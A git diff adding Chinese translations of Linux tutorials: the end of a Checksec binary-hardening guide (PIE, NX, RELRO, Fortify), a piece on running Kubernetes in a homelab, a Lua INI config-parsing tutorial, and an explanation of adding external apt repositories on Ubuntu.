PIE。在下面的输出中,`hello` 显示为 `LSB executable`,而 `libc` 标准库(`.so`) 文件被标记为 `LSB shared object`: + +``` +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped + +$ file /lib64/libc-2.32.so +/lib64/libc-2.32.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4a7fb374097fb927fb93d35ef98ba89262d0c4a4, for GNU/Linux 3.2.0, not stripped +``` + +Checksec 查找是否启用 PIE 的底层命令如下: + +``` +$ readelf -W -h ./hello | grep EXEC +  Type:                              EXEC (Executable file) +``` + +如果你在共享库上尝试相同的命令,你将看到 `DYN`,而不是 `EXEC`: + +``` +$ readelf -W -h /lib64/libc-2.32.so | grep DYN +  Type:                              DYN (Shared object file) +``` + +##### 启用 PIE + +要在测试程序 `hello.c` 上启用 PIE,请在编译时,使用以下命令: + +``` +$ gcc -pie -fpie hello.c -o hello` +``` + +你可以使用 Checksec,来验证 PIE 是否已启用: + +``` +$ checksec --file=./hello --output=json | jq | grep pie +    "pie": "yes", +$ +``` + +现在,应该会显示为 “ PIE 可执行 pie executable ”,其类型从 `EXEC` 更改为 `DYN`: + +``` +$ file hello +hello: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb039adf2530d97e02f534a94f0f668cd540f940, for GNU/Linux 3.2.0, not stripped + +$ readelf -W -h ./hello | grep DYN +  Type:                              DYN (Shared object file) +``` + +#### 4、NX(堆栈禁止执行) + +NX 代表 不可执行 non-executable 。它通常在 CPU 层面上启用,因此启用 NX 的操作系统可以将某些内存区域标记为不可执行。通常,缓冲区溢出漏洞将恶意代码放在堆栈上,然后尝试执行它。但是,让堆栈这些可写区域变得不可执行,可以防止这种攻击。在使用 `gcc` 对源程序进行编译时,默认启用此安全属性: + +``` +$ checksec --file=/bin/ls --output=json | jq | grep nx +    "nx": "yes", + +$ checksec --file=./hello --output=json | jq | grep nx +    "nx": "yes", +``` + +Checksec 使用以下底层命令,来确定是否启用了 NX。在尾部的 `RW` 表示堆栈是可读可写的;因为没有 `E`,所以堆栈是不可执行的: + +``` +$ readelf -W -l ./hello | grep GNU_STACK +  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW  0x10 +``` + +##### 演示如何禁用 NX + +我们不建议禁用 NX,但你可以在编译程序时,使用 `-z execstack` 参数,来禁用 NX: + +``` +$ gcc -z execstack hello.c -o hello + +$ checksec --file=./hello --output=json | jq | grep nx +    "nx": "no", +``` + +编译后,堆栈会变为可读可写可执行(`RWE`),允许在堆栈上的恶意代码执行: + +``` +$ readelf -W -l ./hello | grep GNU_STACK +  GNU_STACK      0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RWE 0x10 +``` + +#### 5、RELRO(GOT 写保护) + +RELRO 代表 “重定位只读 Relocation Read-Only ”。可执行链接格式(ELF)二进制文件使用全局偏移表(GOT)来动态地解析函数。启用 RELRO 后,会设置二进制文件中的 GOT 表为只读,从而防止重定位攻击: + +``` +$ checksec --file=/bin/ls --output=json | jq | grep relro +    "relro": "full", + +$ checksec --file=./hello --output=json | jq | grep relro +    "relro": "partial", +``` + +Checksec 使用以下底层命令,来查找是否启用 RELRO。在二进制文件 `hello` 仅启用了 RELRO 属性中的一个属性,因此,在 Checksec 验证时,显示 `partial`: + +``` +$ readelf -W -l ./hello | grep GNU_RELRO +  GNU_RELRO      0x002e10 0x0000000000403e10 0x0000000000403e10 0x0001f0 0x0001f0 R   0x1 + +$ readelf -W -d ./hello | grep BIND_NOW +``` + +##### 启用全 RELRO + +要启用全 RELRO,请在 `gcc` 编译时,使用以下命令行参数: + +``` +$ gcc -Wl,-z,relro,-z,now hello.c -o hello + +$ checksec --file=./hello --output=json | jq | grep relro +    "relro": "full", +``` + +现在, RELRO 中的第二个属性也被启用,使程序变成全 RELRO: + +``` +$ readelf -W -l ./hello | grep GNU_RELRO +  GNU_RELRO      0x002dd0 0x0000000000403dd0 0x0000000000403dd0 0x000230 0x000230 R   0x1 + +$ readelf -W -d ./hello | grep BIND_NOW + 0x0000000000000018 (BIND_NOW)       +``` + +#### 6、Fortify + +Fortify 是另一个安全属性,但它超出了本文的范围。Checksec 是如何在二进制文件中验证 Fortify,以及如何在 `gcc` 编译时启用 Fortify,作为你需要解决的课后练习。 + +``` +$ checksec --file=/bin/ls --output=json | jq  | grep -i forti +    "fortify_source": "yes", +    "fortified": "5", +    "fortify-able": "17" + +$ checksec --file=./hello --output=json | jq  | grep -i forti +    "fortify_source": "no", +    "fortified": "0", +    "fortify-able": "0" +``` + +### 其他的 Checksec 功能 + +关于安全性的话题是永无止境的,不可能在本文涵盖所有关于安全性的内容,但我还想提一下 Checksec 命令的一些其他功能,这些功能也很好用。 + +#### 对多个二进制文件运行 Checksec + +你不必对每个二进制文件都进行一次 Checksec。相反,你可以提供多个二进制文件所在的目录路径,Checksec 将一次性为你验证所有文件: + +``` +$ checksec --dir=/usr +``` + +#### 对进程运行 Checksec + +Checksec 除了能检查二进制文件的安全属性,Checksec 还能对程序起作用。以下的命令用于查找你系统上所有正在运行的程序的安全属性。如果你希望 Checksec 检查所有正在运行的进程,可以使用 `--proc-all`,或者你也可以使用进程名称,选择特定的进程进行检查: + +``` +$ checksec --proc-all + +$ checksec --proc=bash +``` + +#### 对内核运行 Checksec + +除了本文介绍的用 Checksec 检查用户态应用程序的安全属性之外,你还可以使用它来检查系统内置的 内核属性 kernel properties : + +``` +$ checksec --kernel +``` + +### 快来试一试 Checksec 吧 + +Checksec 是一个能了解哪些用户空间和内核的安全属性被启用的好方法。现在,你就可以开始使用 Checksec,来了解每个安全属性是什么,并明白启用每个安全属性的原因,以及它能阻止的攻击类型。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/linux-checksec + +作者:[Gaurav Kamathe][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gkamathe +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/lead-images/target-security.png +[2]: http://www.opengroup.org/onlinepubs/009695399/functions/printf.html +[3]: https://stedolan.github.io/jq/download/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/18/095702dzvm482460vnrv6y.jpg \ No newline at end of file diff --git a/published/202211/20210618 5 more reasons to run Kubernetes in your Linux homelab.md b/published/202211/20210618 5 more reasons to run Kubernetes in your Linux homelab.md new file mode 100644 index 0000000000..92af1e9e3a --- /dev/null +++ b/published/202211/20210618 5 more reasons to run Kubernetes in your Linux homelab.md @@ -0,0 +1,100 @@ +[#]: subject: (5 more reasons to run Kubernetes in your Linux homelab) +[#]: via: (https://opensource.com/article/21/6/kubernetes-linux-homelab) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15278-1.html) + +在你的 Linux 家庭实验室上运行 Kubernetes 的 5 个理由 +====== + +> Kubernetes 的优势不仅在于它能够做什么,还在于知道它能为你做什么。 + +![][0] + +在 [树莓派家庭实验室上运行 Kubernetes 的 5 个理由][2] 这篇文章中,我解释了为什么推荐在家里使用 Kubernetes。其中的理由相对来说会有点随意,并且主要于关注结果。除了 Kubernetes 好用的功能之外,还有其他几个应将 Kubernetes 包含在你自己的计算机的理由。 + +(LCTT 译注:家庭实验室Homelab 指的是安置在你家里的一个服务器或者多服务器的组合配置。在之上托管了多个服务和虚拟系统,以此来进行测试、开发,或者提供家庭功能用途。) + +### 1、Kubernetes 是基于 Linux 而建立的 + +![T-shirt reading "Containers are Linux"][3] + +Kubernetes 有很高的知名度。对于一些人来说,Kubernetes 是一种神秘技术,有一个不好念的名字;而对另一些人来说,Kubernetes 就好像是牧羊犬放牧羊群一样,可以帮助他们管理过多的容器;对于其它人来说,Kubernetes 是一种 cloud 的操作系统,是 实效云开发 effective cloud development 的一个有用的界面;对于大多数人来说,Kubernetes 可能是他们从未听说过的后端软件。正如人们所想的那样,Kubernetes 具有所有这些能力,甚至有更多的功能。 + +并非每个人都以相同的方式使用 Kubernetes,但如果你主要的工作是系统管理,你会发现 Kubernetes _只是又一个 Linux 命令_。 + +我有一件 T 恤,上面写着 “容器就是 Linux Containers are Linux ”,它的意思是显而易见的。容器技术使用 cgroup,来运行包含一个或一组应用程序的最小 Linux 操作系统镜像。当你运行容器时,实际上你就是在运行 Linux。虽然 Kubernetes 能在许多平台上使用,但 Kubernetes 管理的是 Linux 容器。当你通过终端与 Kubernetes 交互时,就像是使用 Linux:有命令、选项、参数和语法。运行 Kubernetes 的 `kubeadm` 或(在 OKD 或 OpenShift 上)运行 `oc` 命令,你会感觉到很熟悉,是因为它们的工作方式与你习惯使用的任何其他 Linux 命令一样。开始时看似陌生的东西很快就会变得自然,任何有兴趣在终端上花时间的 Linux 用户都可以在 Kubernetes 中探索到许多有趣的东西。 + +### 2、Kubernetes 很灵活 + +在过去,Kubernetes 有点死板,因为从本质上来说,它仅能支持一个 容器运行时 container runtime 。这个规定非常严格,以至于今天需要一个 硬编码的垫片 hardcoded shim ,才能绕过这个遗留问题。幸运的是,如今 Kubernetes 已经变得足够灵活,可以满足管理员的许多不同需求了。[Podman][5] 和 [CRI-O][6] 可用作于容器引擎,它们都可以与 [systemd][7] 集成(这是因为 Kubernetes 的底层都是 Linux)。你可以自己选择 Kubernetes 所使用的文件系统、集群大小和构造、监控工具、镜像、编程语言等等配置。甚至现在有些人说 Kubernetes 有 _太多_ 的选择了。 + +### 3、学习 Kubernetes 有助于个人发展 + +容器是一个硕果累累的事物,它们会快速地成倍增长,这就是它的设计。容器旨在扩展,它们通过生成克隆来扩展。将容器分组(称为 “容器荚pod”),并自动管理容器荚的生命周期,这就是 Kubernetes 运用的方式。它正在改变服务器的运行方式。 + +你可能不需要无限扩展的容器集合,也不需要任何东西来帮助你管理正运行的一或两个容器。但是,如果你希望受益于处理容器荚的能力,那么 Kubernetes 正是你需要学习的工具。随着越来越多的公司和组织走向全球,拥抱 [数字化转型][8],Kubernetes 正在成为 IT 领域的必备技能。如果你想要在这个领域中发展,那么现在开始学习 Kubernetes 并熟悉它的常见问题及其解决方案,将会是一项很好的投资。 + +### 4、Kubernetes 让容器更有意义 + +你可能还记得几年前,当开源项目刚开始将它们的代码作为容器镜像分发时,对于许多人来说,容器这一概念是令人费解的:没有多少系统管理员真正理解 [容器是什么][9],或者明白容器的边界在哪里、如何进入容器,以及为什么数据不能存在于容器内。 + +现在,IT 界(包括开发人员在内)都对容器的概念都十分熟悉了。对于现代的 [CI/CD 工作流程][10] 来说,交付给容器十分有意义。不过,对于系统管理员来说,容器的优势如下:安装容器(理论上)比等待发行版更新其软件包更为容易,而且容器可以扩展。然而,在你使用 Kubernetes 之前,你很可能都不会真正地感受到这些好处。当你开始使用 Kubernetes 和相关工具管理容器之前,持续交付容器的好处和容器的扩展能力可能只是你从文章里面读过的想法。将容器集成到你管理服务器的方式中,你会突然明白 Kubernetes 中令人兴奋的是什么。 + +![Apache JMeter][11] + +你可以试试看这个最基本的测试:只需在容器中启动你最喜欢的 Web 服务器,创建一个容器荚,然后使用来自 [Apache JMeter][12] 的流量访问你的服务器,然后观察容器响应。 + +### 5、Kubernetes 是云原生的 + +如果你主要做的是软件开发,而不是系统管理,那么 Kubernetes 也是 网页应用程序 web apps 的一个很好的平台。我们现在都在使用网页应用程序,尽管大多数人只是将它们视为 “网站 website ”。网络拥有庞大的用户群,因此通过浏览器提供开源的应用程序是非常有意义的。有一些很棒的开源应用程序在网络上运行,其中许多的应用程序都以容器的形式分发的,它们可以支持简单的安装和持续的用户体验。 + +### Kubernetes 的其他优势:Kubernetes 很有意思 + +你还记得你还是 Linux 新手的时候吗?对于一些人来说,那可能是几十年前的事了,而对于其他人来说,可能是不久的过去。不过,对于所有人来说,学习一项新事物会是一个有趣的挑战。如果你达到了认为 “Linux 的安装与其说是一个挑战,不如说是一个麻烦” 的程度,那么你可以尝试一下构建一个 Kubernetes 集群。它会让你回忆起你忘记的各种概念:如何修改纯文本(特别是 [YAML][13] 格式的)配置文件,如何配置网络接口和网络,如何路由流量,知道一个后端相对于另一个后端的优缺点,在 `--dry-run` 测试之后运行 `--dry-run` 测试,试探性地按回车键来确定你是否做对了。老实说,使用 Kubernetes 很有趣。 + +如果你想构建自己的基础架构,没有什么比构建你自己的 Kubernetes 集群更好的了。Kubernetes 集群将会为你打开一个全新的世界。你很快就会成为一名云架构师,学会完善你的开放云,在容器中安装令人惊叹的开源 Web 应用程序,也能为你的家人和朋友提供访问权限。 + +你自己就能得到解决方案。这真是太棒啦。 + +### 快来试试看 Kubernetes 吧 + +对 Kubernetes 的初学者来说,Kubernetes 似乎很难快速上手,因为 Kubernetes 是一个新的工具,会让你感到有点害怕,而且它还需要云服务。但是,以下有几种方法可以让你开始 Kubernetes 体验。 + +首先,安装 [Minikube][14] 或 [Minishift][14]。这两个工具都允许你在自己的计算机上运行 Kubernetes 的本地实例。虽然这种方式比不上“构建一个集群并与你的朋友共享”那么令人满意,但它是一种让你熟悉 Kubernetes 环境、命令和工具包的很好且安全的方式。 + +当你准备进一步研究 Kubernetes 后,请进一步阅读 Chris Collins 的《[使用树莓派构建 Kubernetes 集群][15]》 的文章。之后,再下载我们的免费电子书 《[在你树莓派家庭实验室上运行 Kubernetes][16]》。在不知不觉中,你会发现自己也明白了“容器就是 Linux”的含义。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/kubernetes-linux-homelab + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) +[2]: https://opensource.com/article/20/8/kubernetes-raspberry-pi +[3]: https://opensource.com/sites/default/files/uploads/containers-are-linux.jpg (T-shirt reading "Containers are Linux") +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: http://podman.io +[6]: http://cri-o.io +[7]: https://opensource.com/article/21/5/systemd +[8]: https://enterprisersproject.com/what-is-digital-transformation +[9]: https://opensource.com/article/18/11/behind-scenes-linux-containers +[10]: https://opensource.com/article/18/8/what-cicd +[11]: https://opensource.com/sites/default/files/uploads/jmeter.png (Apache JMeter) +[12]: https://jmeter.apache.org +[13]: https://www.redhat.com/sysadmin/yaml-beginners +[14]: https://opensource.com/article/18/10/getting-started-minikube +[15]: https://opensource.com/article/20/6/kubernetes-raspberry-pi +[16]: https://opensource.com/downloads/kubernetes-raspberry-pi +[0]: https://img.linux.net.cn/data/attachment/album/202211/22/000124imal02j2yollqbqj.jpg \ No newline at end of file diff --git a/published/202211/20210623 Parsing config files with Lua.md b/published/202211/20210623 Parsing config files with Lua.md new file mode 100644 index 0000000000..81149510af --- /dev/null +++ b/published/202211/20210623 Parsing config files with Lua.md @@ -0,0 +1,220 @@ +[#]: subject: (Parsing config files with Lua) +[#]: via: (https://opensource.com/article/21/6/parsing-config-files-lua) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (hadisi1993) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15235-1.html) + +使用 Lua 解析配置文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/10/084609uq6vvp1vjzqzpc9k.jpg) + +> 使用 Lua 配置持久化应用设置。 + +不是所有的应用都需要配置文件;对很多应用来说,在启动时变得焕然一新对它们更有利。例如,简单的工具就极少需要偏好项和设置在使用过程中保持稳定不变。然而,当你编写一个复杂的应用程序时,如果能让用户设置与应用的交互方式,以及应用与系统交互的方式会很不错。这就是配置文件用来做的事情。本文将讨论一些利用 Lua 进行持久化配置的方法。 + +### 选择一种格式 + +关于配置文件很重要的两点是一致性和可预见性。你不会希望为了保存用户偏好项,将信息转储到文件中,然后再花几天去编码实现“逆向工程”,处理最后出现在文件里的随机信息。 + +这里用一些常用的 [配置文件格式][2]。Lua 有一些库可以处理大多数常用的配置格式;在本文中,我会采用 INI 格式。 + +### 安装库 + +Lua 库的核心仓库是 [Luarocks.org][3]。你可以在这个网站搜索库,或者你可以安装并使用 `luarocks` 终端命令。 + +Linux 环境中,你可以从发行版的软件仓库中下载它,例如: + +``` +$ sudo dnf install luarocks +``` + +在 macOS 上,请使用 [MacPorts][4] 或者 [Homebrew][5]。在 Windows 上,请使用 [Chocolatey][6]。 + +`luarocks` 安装后,你可以使用 `search` 子命令来搜索一个恰当的库。如果你不知道库的名字,可以通过关键词来搜索这个库,例如 `ini`、xml` 或者 `json`,这取决于你想要用这个库做什么。打个比方,你可以搜索 `inifile`, 这个库被我用来解析 INI 格式的文本文件。 + +``` +$ luarocks search inifile +Search results: +inifile + 1.0-2 (rockspec) - https://luarocks.org + 1.0-2 (src) - https://luarocks.org + 1.0-1 (rockspec) - https://luarocks.org + [...] +``` + +一个开发者容易犯的错误是在系统上安装了这个库却忘了把它和应用打包。这会给没有安装这个库的用户带来麻烦。为了防止这个问题发生,可以使用 `--tree` 选项将它安装在项目的本地文件夹中。如果你没有这个项目文件夹,那就先创建这个文件夹再安装库: + +``` +$ mkdir demo +$ cd demo +$ luarocks install --tree=local inifile +``` + +`--tree` 选项指示 `luarocks` 创建一个新文件夹并在其中安装你的库,例如这个例子中的 `local` 文件夹。 使用这个简单的技巧,你可以将所有你项目要使用的依赖项直接安装到项目文件夹中。 + +### 配置代码 + +首先,在一个名 `myconfig.ini` 的文件中创建一些 INI 数据。 + +``` +[example] +name=Tux +species=penguin +enabled=false + +[demo] +name=Beastie +species=demon +enabled=false +``` + +将这个文件保存到你的主目录下,命名为 `myconfig.ini`, _不要_ 存到项目文件夹下。你通常会希望配置文件独立于你的文件存在,这样当用户卸载你的应用时,使用应用时产生的数据可以保存在系统中。有些用户会删除不重要的配置文件,但大多数不会。最终,如果他们要重装这个应用,还会保留着所有的用户偏好项。 + +配置文件的位置以技术来说并不重要,但每一个操作系统都有存储它们的特定或者默认的路径。在 Linux 中,这个路径由 [Freedesktop 规范][7] 指定。它规定配置文件被保存在一个名为 `~/.config` 的隐藏文件夹中。为了操作时更加清晰明确,可以在主目录下存储配置文件,以便于使用和寻找。 + +创建第二个文件,命名为 `main.lua`,并在你喜欢的文本编辑器中打开它。 + +首先,你必须告诉 Lua 你将想要使用的附加库放置在哪里。`package.path` 变量决定了 Lua 到哪里去寻找这些库。你可以从终端中查看 Lua 默认的包地址: + +``` +$ Lua +> print(package.path) +./?.lua;/usr/share/lua/5.3/?.lua;/usr/share/lua/5.3/?/init.lua;/usr/lib64/lua/5.3/?.lua;/usr/lib64/lua/5.3/?/init.lua +``` + +在你的 Lua 代码中,将你本地库的路径添加到 `package.path` 中: + +``` +package.path = package.path .. ';local/share/lua/5.3/?.lua +``` + +### 使用 Lua 解析 INI 文件 + +当包的位置确定以后,下一件事就是引入 `inifile` 库并处理一些操作系统逻辑。即使这是一个很简单的应用,代码也需要从操作系统获取到用户主目录的路径,并建立在必要时将文件系统路径返回给操作系统的通信方式。 + +``` +package.path = package.path .. ';local/share/lua/5.3/?.lua +inifile = require('inifile') + +-- find home directory +home = os.getenv('HOME') + +-- detect path separator +-- returns '/' for Linux and Mac +-- and '\' for Windows +d = package.config:sub(1,1) +``` + +现在你可使用 `inifile` 来从配置文件解析数据到 Lua 表中。一旦这些数据被导入进表中,你可以像查询其他的 Lua 表一样查询它。 + +``` +-- parse the INI file and +-- put values into a table called conf +conf = inifile.parse(home .. d .. 'myconfig.ini') + +-- print the data for review +print(conf['example']['name']) +print(conf['example']['species']) +print(conf['example']['enabled']) +``` + +在终端中运行代码可以看见结果: + +``` +$ lua ./main.lua +Tux +penguin +false +``` + +这看起来是正确的。试试在 `demo` 块中执行同样的操作。 + +### 使用 INI 格式存储数据 + +不是所有用来解析的库都会读写数据(通常被称为 _编码 和 _解码_),但是 `inifile` 会这样做。这意味着你可以使用它对配置文件进行修改。 + +为了改变配置文件中的值,你可以对被解析的表中的变量进行设置,然后把表重写回配置文件中。 + +``` +-- set enabled to true +conf['example']['enabled'] = true +conf['demo']['enabled'] = true + +-- save the change +inifile.save(home .. d .. 'myconfig.ini', conf) +``` + +现在再来看看配置文件: + +``` +$ cat ~/myconfig.ini +[example] +name=Tux +species=penguin +enabled=true + +[demo] +name=Beastie +species=demon +enabled=true +``` + +### 配置文件 + +按照用户的设想来存储数据对程序来说是至关重要的。幸运的是,这对工程师来说是一个很常规的任务,大多数工作可能早已被完成了。只要找到一个好用的库完成开放格式下编码和解码,你就能为用户提供一致且持续的体验。 + +以下是完整的演示代码,可供参考。 + +``` +package.path = package.path .. ';local/share/lua/5.3/?.lua' +inifile = require('inifile') + +-- find home directory +home = os.getenv('HOME') + +-- detect path separator +-- returns '/' for Linux and Mac +-- and '\' for Windows +d = package.config:sub(1,1) + +-- parse the INI file and +-- put values into a table called conf +conf = inifile.parse(home .. d .. 'myconfig.ini') + +-- print the data for review +print(conf['example']['name']) +print(conf['example']['species']) +print(conf['example']['enabled']) + +-- enable Tux +conf['example']['enabled'] = true + +-- save the change +inifile.save(home .. d .. 'myconfig.ini', conf) +``` + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/parsing-config-files-lua + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hadisi1993](https://github.com/hadisi1993) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (坐在电脑前的女人) +[2]: https://opensource.com/article/21/6/config-files-and-their-formats +[3]: https://opensource.com/article/19/11/getting-started-luarocks +[4]: https://opensource.com/article/20/11/macports +[5]: https://opensource.com/article/20/6/homebrew-mac +[6]: https://opensource.com/article/20/3/chocolatey +[7]: https://www.freedesktop.org/wiki/Specifications +[8]: http://www.opengroup.org/onlinepubs/009695399/functions/getenv.html diff --git a/published/202211/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md b/published/202211/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md new file mode 100644 index 0000000000..a0667bb2a2 --- /dev/null +++ b/published/202211/20210805 Installing Packages From External Repositories in Ubuntu -Explained.md @@ -0,0 +1,190 @@ +[#]: subject: "Installing Packages From External Repositories in Ubuntu [Explained]" +[#]: via: "https://itsfoss.com/adding-external-repositories-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "nophDog" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15299-1.html" + +详解在 Ubuntu 从外部存储库安装软件包 +====== + +![][0] + +你大概知道怎么在 Ubuntu 中使用 `apt` 命令安装软件包。那些软件包都是来自 Ubuntu 的官方存储库。 + +那第三方或者外部存储库呢?不,我这里并不是要讲 PPA。 + +早晚你会碰到那种至少四行的安装说明:你需要安装名为 `apt-transport-https` 的包、操作一下 GPG 和 源列表source list 之后,你才能正常安装软件包。 + +没有什么印象的话,那我分享一个 [在 Ubuntu 上安装最新版本的 Yarn][1] 的例子: + +``` +sudo apt install apt-transport-https curl +curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - +sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' +sudo apt update && sudo apt install yarn +``` + +当你需要直接从开发者那里安装编程工具的时候,大概率会碰到这种安装方式。 + +许多人只是按照说明进行操作,并不会去思考其中的原理。这也没什么不对,但了解该过程实际上可以提升你在这方面的知识,而且有助于之后排除故障。 + +我来解释一下这些代码背后的逻辑。 + +### 理解从外部存储库安装的过程 + +在你继续往下阅读之前,我强烈建议你先看看下面这两篇文章,方便理解后续的概念: + + * [什么是 Ubuntu 中的存储库][2] + * [什么是 Ubuntu 中 PPA][3] + +为了让你有点印象,这里有一张软件包存储库和 [Linux 中的包管理器][4] 的图片。 + +![Illustration of repository and package manager][5] + +整件事情其实就是在系统中添加一个新的外部存储库。这样,你就可以从这个新存储库下载并安装可用的软件包。如果这个存储库提供了包版本的更新,你可以在更新系统的同时更新这些软件包(`apt update && apt upgrade`)。 + +那么,这是什么工作原理呢?让我们一条一条地过一遍。 + +#### 第 1 部分:为 apt 获取 HTTPS 支持 + +第一行是这样的: + +``` +sudo apt install apt-transport-https curl +``` + +`curl` 是一个 [Linux 终端下载文件的工具][6]。这里主要的部分是安装 `apt-transport-https`,但事实上已经不需要了。 + +明白了吗?这个 `apt-transport-https` 包让你的系统通过 HTTPS 协议安全访问存储库。按照设计,Ubuntu 的存储库使用 http 而不是 https 协议。 + +看看下面的截图。 https 这张图是我已经添加到系统中的外部存储库。Ubuntu 的存储库和 PPA 使用 http 协议。 + +![][7] + +在旧版本的 `apt` 包管理器中,不支持 https 协议。`apt-transport-https` 包为 `apt` 添加了 https 支持。要新增一个使用 https 的存储库,首先就得先安装此包。 + +我之前不是说不需要安装这个包了吗?是的,因为较新版本的 `apt`(高于 1.5)已经支持 https,所以你不需要再安装 `apt-transport-https`。 + +但是你依然看到我在说明中提到了这个包。这更多是出于遗留原因,而且可能还有很旧的发行版在使用旧版本的 `apt` 包。 + +现在,你可能想知道既然 https 是安全协议,那为什么 Ubuntu 的存储库还要使用 http 而不是 https。这难道没有安全风险吗?接着往下看你就知道答案了。 + +#### 第 2 部分:添加远程存储库的 GPG 密钥 + +Linux 存储库内置了基于 GPG 密钥的安全机制。每个存储库都将其 GPG 公钥添加到你的系统信任密钥中。来自存储库的包由这个 GPG 密钥“签名signed”,并且通过这份存储的公钥,系统能够验证软件包正是来自这个存储库。 + +如果 [密钥之间不匹配,你的系统会发出提醒][8],而不会继续从该存储库安装或者更新软件包。 + +到目前为止,一切都很顺利。下一步是将外部存储库的 GPG 公钥添加到你的 Linux 系统,以便它能接收来自该存储库的软件包。 + +``` +curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add - +``` + +在上面的命令中,你使用 `curl` 从指定的 URL 下载 GPG 密钥。选项 `-sS` 能够让你不看多余的输出(静默模式),但会显示错误(如果有的话)。最后一个 `-` 告诉 `apt-key` 使用标准输入stdin而不是文件(在本例中是 `curl` 命令的输出)。 + +`apt-key add` 命令已经将下载的密钥添加到系统中。 + +你可以通过 `apt-key list` 命令查看系统中各种存储库添加的 GPG 密钥。 + +![List GPG keys][9] + +这是将 GPG 密钥添加到系统的一种方法。你会看到一些其它的命令,看起来略有不同,但效果一样,都是将存储库的公钥添加到你的系统里面。 + +``` +sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys E298A3A825C0D65DFD57CBB651716619E084DAB9 +``` + +你会注意到 `apt-key` 已被弃用的警告。在 Ubuntu 22.04 之前,你还可以使用 `apt-key` 命令,但它最终会被删除。现在不需要杞人忧天。 + +#### 第 3 部分:将外部存储库添加到源列表 + +下个命令是在系统的源列表中添加一个新条目。这样,你的系统就会知道它得检查该存储库中的包和更新。 + +``` +sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' +``` + +有一个文件 `/etc/apt/sources.list` 包含 Ubuntu 存储库的详细信息。最好不要随便动这个文件。所有新增的存储库都应放在 `/etc/apt/sources.list.d` 目录中相应的文件里(约定以 `.list` 结尾)。 + +![External repository should have their own sources list file in the /etc/apt/sources.list.d directory][10] + +这使得包管理变得更容易。如果你要从系统中删除一个存储库,只需删除相应的源文件即可。无需修改主 `sources.list` 文件。 + +让我们再仔细地看一下这行命令。 + +``` +sudo sh -c 'echo "deb https://dl.yarnpkg.com/debian/ stable main" >> /etc/apt/sources.list.d/yarn.list' +``` + +使用 `sh` 可以在一个新的 shell 进程中运行命令,而不是 [子 shel​​l][11]。 `-c` 选项告诉 `sh` 命令从参数而不是标准输入读取命令。然后它运行 `echo` 命令,也就是把 `deb https://dl.yarnpkg.com/debian/ stable main` 这一行添加到 `/etc/apt/sources.list.d/yarn.list` 文件(会创建该文件)。 + +现在,你可以通过各种方法在指定目录中创建 `.list` 文件并在其中添加包含存储库详细信息的数据行。你也可以像这样使用: + +``` +echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list +``` + +明白了吧? + +#### 第 4 部分:从新添加的存储库安装应用程序 + +到目前为止,你已经将存储库的 GPG 密钥和存储库的 URL 添加到系统中。 + +但是系统仍然不晓得这个新存储库中有哪些可用的包。这就是为什么你需要先使用下面这个命令更新包元数据的本地缓存: + +``` +sudo apt update +``` + +这时你的系统就已经知道新增存储库中可用软件包的信息,现在可以试试安装软件包: + +``` +sudo apt install yarn +``` + +为了节省时间,你可以在 [同一行挨着运行这两个命令][12]e。 + +``` +sudo apt update && sudo apt install yarn +``` + +`&&` 